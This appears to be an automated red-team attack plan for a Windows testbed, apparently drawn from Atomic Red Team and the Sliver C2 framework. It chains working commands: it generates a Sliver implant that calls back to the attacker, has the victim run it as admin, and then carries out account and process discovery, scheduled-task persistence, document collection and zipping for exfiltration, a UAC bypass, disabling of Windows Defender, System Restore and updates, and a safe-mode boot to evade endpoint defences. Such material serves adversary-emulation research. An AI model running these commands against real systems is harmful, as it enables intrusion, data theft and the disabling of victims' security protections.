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Testbed Information

Target Machine

  • Machine ID: host11
    • OS: windows
    • CVE: []

Attack Steps

uuid name id source supported_platforms tactics technique description execution arguments preconditions effects
0e67b73a-9927-43e1-8f64-04d38f1db57d Build the executable file of a Sliver implant (for Windows) ['T1071.001'] Manual ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] The command is used in the Sliver C2 (Command and Control) framework to generate a payload designed for remote access to a target machine.
{'executor': 'Sliver Console', 'command': 'sliver > generate --mtls #{LHOST}:#{LPORT} --os windows --arch 64bit --format exe --save #{SAVE_PATH}\nsliver > mtls --lport #{LPORT}\n'} {'LHOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the generated payload', 'type': None}} ['(os_windows ?target - host)', '(unallocated ?p - payload)', '(unallocated ?file - file)'] ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?file - file)', '(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?p - payload)', '(unallocated ?file - file)']
19301991-c518-46ca-a622-378e1be4f1ad Simulate the victim download and execute malicious payload file as Admin (Root) ['T1204.002'] Manual ['windows'] ['Execution'] ['User Execution: Malicious File'] None {'executor': 'Human', 'command': "(This step needs human interaction and (temporarily) cannot be executed automatically)\n(On attacker's machine)\npython -m http.server\n\n(On victim's machine)\n1. Open #{LHOST}:#{LPORT} in the browser\n2. Navigate to the path of the target payload file\n3. Download the payload file\n4. Execute the payload file to #{PATH} as Admin (Root)\n"} {'HOST': {'default': None, 'description': 'IP address of the attacker machine', 'type': None}, 'LPORT': {'default': None, 'description': 'listening port of the attacter machine', 'type': None}, 'SAVE_PATH': {'default': None, 'description': 'Saved path of the downloaded payload', 'type': None}} ['(file_prepared_local ?file - file)', '(exe_file ?file - file)', '(unallocated ?path - path)'] ['(file_exists ?path - path ?file - file ?t - host)', '(file_executed ?file - file ?t - host)', '(file_executed_as_root ?f - file ?t - host)', '~(unallocated ?path - path)']
1f401bbe-de24-41d2-8e34-d026e25bfb94 Execute a Sliver Implant Payload ['T1071.001'] Sliver ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] Executing a Sliver implant payload will establish a Sliver session.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}]
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
6fbc9e68-5ad7-444a-bd11-8bf3136c477e Enumerate all accounts (Domain) ['T1087.002'] ART ['windows'] ['Discovery'] ['Account Discovery: Domain Account'] Enumerate all accounts
Upon exection, multiple enumeration commands will be run and their output displayed in the PowerShell session
{'executor': 'Command Prompt Executor', 'command': 'net user /domain\nnet group /domain\n'} None ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(user_info_known ?target - host)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
3b3809b6-a54b-4f5b-8aff-cb51f2e97b34 Process Discovery - Get-Process ['T1057'] ART ['windows'] ['Discovery'] ['Process Discovery'] Utilize Get-Process PowerShell cmdlet to identify processes.

Upon successful execution, powershell.exe will execute Get-Process to list processes. Output will be via stdout.
{'executor': 'Powershell Executor', 'command': 'Get-Process\n'} None ['(powershell ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(process_info_known ?target - host)']
36b514af-486f-44ad-9f56-09c9d904851d Get Current Working Directory ['T1083'] Sliver ['windows', 'linux', 'macos'] ['Discovery'] ['File and Directory Discovery'] The pwd command returns the current working directory of the remote system. It helps to determine the current directory where commands are being executed on the remote machine, which is crucial for file management and executing further commands. The command includes flags for setting a timeout. {'executor': 'Sliver Executor', 'command': 'pwd(#{SessionID})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} [{'operator': 'or', 'operands': ['(os_windows ?t - host)', '(os_linux ?t - host)', '(os_macos ?t - host)']}, '(sliver_session ?s - executor ?t - host)'] ['(current_directory_info_known ?t - host)']
42f53695-ad4a-4546-abb6-7d837f644a71 Scheduled task Local ['T1053.005'] ART ['windows'] ['Execution', 'Persistence', 'Privilege Escalation'] ['Scheduled Task/Job: Scheduled Task'] Upon successful execution, cmd.exe will create a scheduled task to spawn cmd.exe at 20:10.
{'executor': 'Command Prompt Executor', 'command': 'SCHTASKS /Create /SC ONCE /TN spawn /TR #{task_command} /ST #{time}\n'} {'task_command': {'description': 'What you want to execute', 'type': 'string', 'default': 'C:\windows\system32\cmd.exe'}, 'time': {'description': 'What time 24 Hour', 'type': 'string', 'default': 1210}} ['(os_windows ?target - host)', '(command_prompt ?executor - executor ?target - host)', '(file_exists ?task_command - path ?file - file ?target - host)', '(exe_file ?file - file)'] ['(file_execution_at_time ?file - file ?target - host)']
f7f31777-1bbf-4ddc-b7a1-af9f46a5299b Obtain a persistent Sliver Executor [None] Manual ['windows', 'linux', 'macos'] ['Persistence'] [None] Obtain the persistency of Sliver Executor via scheduled payload file execution.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?target - host)', '(file_payload ?p - payload ?f - file)', {'operator': 'or', 'operands': ['(file_execution_at_time ?f - file ?target - host)', '(file_execution_at_startup ?f - file ?target - host)']}, '(unallocated ?s - executor)'] ['(persistent_sliver_session ?s - executor ?target - host)', '~(unallocated ?s - executor)']
2e8f1a9c-0b5e-4a7c-b6d4-9a8b2d3c5f1e Create Directory ['T1106'] Sliver ['windows', 'linux'] ['Persistence'] ['File System Permissions Modification'] The mkdir command creates a new directory on the target system. {'executor': 'Sliver Executor', 'command': 'mkdir (#{remote_path},#{SessionID})'} {'remote_path': {'description': 'Full path of the directory to create'}, 'SessionID': {'description': 'The session ID of the active Sliver connection.'}} [{'operator': 'or', 'operands': ['(os_windows ?target - host)', '(os_linux ?target - host)']}, '(sliver_session ?executorID - executor ?target - host)'] ['(dir_exists ?path - path ?dir - dir ?target - host)']
a57fbe4b-3440-452a-88a7-943531ac872a Zip a Folder with PowerShell for Staging in Temp ['T1074.001'] ART ['windows'] ['Collection'] ['Data Staged: Local Data Staging'] Use living off the land tools to zip a file and stage it in the Windows temporary folder for later exfiltration. Upon execution, Verify that a zipped folder named Folder_to_zip.zip
was placed in the temp directory.
{'executor': 'Powershell Executor', 'command': 'Compress-Archive -Path "#{input_file}" -DestinationPath #{output_file} -Force\n'} {'output_file': {'description': 'Location to save zipped file or folder', 'type': 'path', 'default': None}, 'input_file': {'description': 'Location of file or folder to zip', 'type': 'path', 'default': None}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(dir_exists ?input_file - path ?dir - dir ?target - host)'] ['(dir_data_saved ?dir - dir ?file - file)', '(file_exists ?output_file - path ?file - file ?target - host)', '(zip_file ?file - file)']
3c898f62-626c-47d5-aad2-6de873d69153 Windows Screencapture ['T1113'] ART ['windows'] ['Collection'] ['Screen Capture'] Use Psr.exe binary to collect screenshots of user display. Test will do left mouse click to simulate user behaviour
{'executor': 'Powershell Executor', 'command': 'cmd /c start /b psr.exe /start /output #{output_file} /sc 1 /gui 0 /stopevent 12\nAdd-Type -MemberDefinition '[DllImport("user32.dll")] public static extern void mouse_event(int flags, int dx, int dy, int cButtons, int info);' -Name U32 -Namespace W;\n[W.U32]::mouse_event(0x02 -bor 0x04 -bor 0x01, 0, 0, 0, 0);\ncmd /c "timeout 5 > NULL && psr.exe /stop"\n'} {'output_file': {'description': 'Output file path', 'type': 'path', 'default': 'c:\temp\T1113_desktop.zip'}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)'] ['(screenshot_data_saved ?file - file ?target - host)', '(file_exists ?output_file - path ?file - file ?target - host)']
d3d9af44-b8ad-4375-8b0a-4bff4b7e419c Search files of interest and save them to a single zip file (Windows) ['T1005'] ART ['windows'] ['Collection'] ['Data from Local System'] This test searches for files of certain extensions and saves them to a single zip file prior to extraction.
{'executor': 'Powershell Executor', 'command': '$startingDirectory = "C:"\n$outputZip = "#{output_zip_folder_path}"\n$fileExtensionsString = ".doc, .docx, .txt" \n$fileExtensions = $fileExtensionsString -split ", "\n\nNew-Item -Type Directory $outputZip -ErrorAction Ignore -Force Out-Null\n\nFunction Search-Files {\n param (\n [string]$directory\n )\n $files = Get-ChildItem -Path $directory -File -Recurse Where-Object {\n $fileExtensions -contains $_.Extension.ToLower()\n }\n return $files\n}\n\n$foundFiles = Search-Files -directory $startingDirectory\nif ($foundFiles.Count -gt 0) {\n $foundFilePaths = $foundFiles.FullName\n Compress-Archive -Path $foundFilePaths -DestinationPath "$outputZip\data.zip"\n\n Write-Host "Zip file created: $outputZip\data.zip"\n } else {\n Write-Host "No files found with the specified extensions."\n }\n'} {'output_zip_folder_path': {'description': 'Path to directory for saving the generated zip file', 'type': 'Path', 'default': 'PathToAtomicsFolder\..\ExternalPayloads\T1005'}}
3c51abf2-44bf-42d8-9111-dc96ff66750f Bypass UAC using ComputerDefaults (PowerShell) ['T1548.002'] ART ['windows'] ['Defense Evasion', 'Privilege Escalation'] ['Abuse Elevation Control Mechanism: Bypass User Account Control'] PowerShell code to bypass User Account Control using ComputerDefaults.exe on Windows 10
Upon execution administrative command prompt should open
{'executor': 'Powershell Executor', 'command': 'New-Item "HKCU:\software\classes\ms-settings\shell\open\command" -Force\nNew-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "DelegateExecute" -Value "" -Force\nSet-ItemProperty "HKCU:\software\classes\ms-settings\shell\open\command" -Name "(default)" -Value "#{executable_binary}" -Force\nStart-Process "C:\Windows\System32\ComputerDefaults.exe"\n'} {'executable_binary': {'description': 'Binary to execute with UAC Bypass', 'type': 'path', 'default': 'C:\Windows\System32\cmd.exe', 'required': True}} ['(os_windows ?target - host)', '(powershell ?executor - executor ?target - host)', '(file_exists ?executable_binary - path ?file - file ?target - host)', {'operator': 'or', 'operands': ['(exe_file ?file - file)']}] ['(file_executed_as_root ?file - file ?target - host)']
1f401bbe-de24-41d2-8e34-d026e25bfb94 Execute a Sliver Implant Payload ['T1071.001'] Sliver ['windows'] ['Command and Control'] ['Application Layer Protocol - Web Protocols'] Executing a Sliver implant payload will establish a Sliver session.
{'executor': 'None', 'command': 'None\n'} None ['(sliver_implant_payload ?p - payload ?t - host)', '(file_payload ?p - payload ?f - file)', '(file_executed ?f - file ?t - host)', '(unallocated ?s - executor)'] ['(sliver_session ?s - executor ?t - host)', '~(unallocated ?s - executor)', {'operator': 'When', 'params': {'condition': '(file_executed_as_root ?f - file ?t - host)', 'effect': '(elevated_executor ?s - executor)'}}]
2074d817-7819-401b-b552-1045672f77f3 Execute Command (cmd.exe) ['T1059.003'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: Windows Command Shell\n'] The cmd.exe command executes a Windows command. It runs the specified command on the remote host and returns the result. This command is useful for performing various system tasks. {'executor': 'Sliver Executor', 'command': 'cmd(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(command_prompt ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
6e0d1131-2d7e-4905-8ca5-d6172f05d03d Disable Windows Shutdown Button ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Modify the registry of the currently logged in user using reg.exe via cmd console to disable the windows shutdown button.
See how ransomware abuses this technique- https://www.trendmicro.com/vinfo/us/threat-encyclopedia/malware/ransom.msil.screenlocker.a/
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v shutdownwithoutlogon /t REG_DWORD /d 0 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(shutdown_button_disabled ?target - host)']
4b81bcfa-fb0a-45e9-90c2-e3efe5160140 Disable Remote Desktop Security Settings Through Registry ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] A modification registry to disable RDP security settings. This technique was seen in DarkGate malware as part of its installation
{'executor': 'Command Prompt Executor', 'command': 'reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Terminal Services" /v "DisableSecuritySettings" /t REG_DWORD /d 1 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(os_windows ?target - host)'] ['(rdp_security_settings_disabled ?target - host)']
2a78362e-b79a-4482-8e24-be397bce4d85 Safe Mode Boot ['T1562.009'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Safe Mode Boot'] Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot {'executor': 'Elevated Command Prompt Executor', 'command': 'bcdedit /set safeboot network'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(endpoint_defense_disabled ?target - host)']
3e757ce7-eca0-411a-9583-1c33b8508d52 Windows HideSCANetwork Group Policy Feature ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Modify the registry of the currently logged in user using reg.exe via cmd console to remove the networking icon Group Policy.
Take note that some Group Policy changes might require a restart to take effect.
See how ransomware abuses this technique- https://www.virustotal.com/gui/file/2d7855bf6470aa323edf2949b54ce2a04d9e38770f1322c3d0420c2303178d91/details
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v HideSCANetwork /t REG_DWORD /d 1 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(networking_icon_group_policy_disabled ?target - host)']
01b20ca8-c7a3-4d86-af59-059f15ed5474 Disable Windows OS Auto Update ['T1112'] ART ['windows'] ['Defense Evasion'] ['Modify Registry'] Disable Auto Update Windows OS feature. Redline is using this as part of its defense evasion.
{'executor': 'Elevated Command Prompt Executor', 'command': 'reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" /v "NoAutoUpdate" /t REG_DWORD /d 1 /f\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(auto_update_disabled ?target - host)']
3d47daaa-2f56-43e0-94cc-caf5d8d52a68 Remove Windows Defender Definition Files ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Removing definition files would cause ATP to not fire for AntiMalware. Check MpCmdRun.exe man page for info on all arguments.
On later viersions of windows (1909+) this command fails even with admin due to inusfficient privelages. On older versions of windows the
command will say completed.

https://unit42.paloaltonetworks.com/unit42-gorgon-group-slithering-nation-state-cybercrime/
{'executor': 'Elevated Command Prompt Executor', 'command': '"C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(anti_malware_disabled ?target - host)']
1c68c68d-83a4-4981-974e-8993055fa034 Windows - Disable the SR scheduled task ['T1490'] ART ['windows'] ['Impact'] ['Inhibit System Recovery'] Use schtasks.exe to disable the System Restore (SR) scheduled task
{'executor': 'Elevated Command Prompt Executor', 'command': 'schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable\n'} None ['(command_prompt ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(system_restore_disabled ?target - host)']
7bfba376-cebc-4094-b1e6-5103b2e83c4e Execute PowerShell Command ['T1059.001'] Sliver ['windows'] ['Execution'] ['Command and Scripting Interpreter: PowerShell\n'] The powershell.exe command executes a PowerShell script or command on the remote host. This command is useful for performing system monitoring tasks or gathering information about the processes running on a remote machine. {'executor': 'Sliver Executor', 'command': 'powershell(#{SessionID},#{Commands})'} {'SessionID': {'description': 'The session ID of the active Sliver connection.'}} ['(os_windows ?t - host)', '(sliver_session ?s1 - executor ?t - host)'] ['(powershell ?s2 - executor ?t - host)', {'operator': 'When', 'params': {'condition': '(elevated_executor ?s1 - executor)', 'effect': '(elevated_executor ?s2 - executor)'}}]
1b3e0146-a1e5-4c5c-89fb-1bb2ffe8fc45 Tamper with Windows Defender Registry ['T1562.001'] ART ['windows'] ['Defense Evasion'] ['Impair Defenses: Disable or Modify Tools'] Disable Windows Defender from starting after a reboot. Upen execution, if the computer is rebooted the entire Virus and Threat protection window in Settings will be
grayed out and have no info.
{'executor': 'Elevated Powershell Executor', 'command': 'Set-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1\n'} None ['(powershell ?executor - executor ?target - host)', '(elevated_executor ?executor - executor)', '(os_windows ?target - host)'] ['(windows_defender_disabled ?target - host)']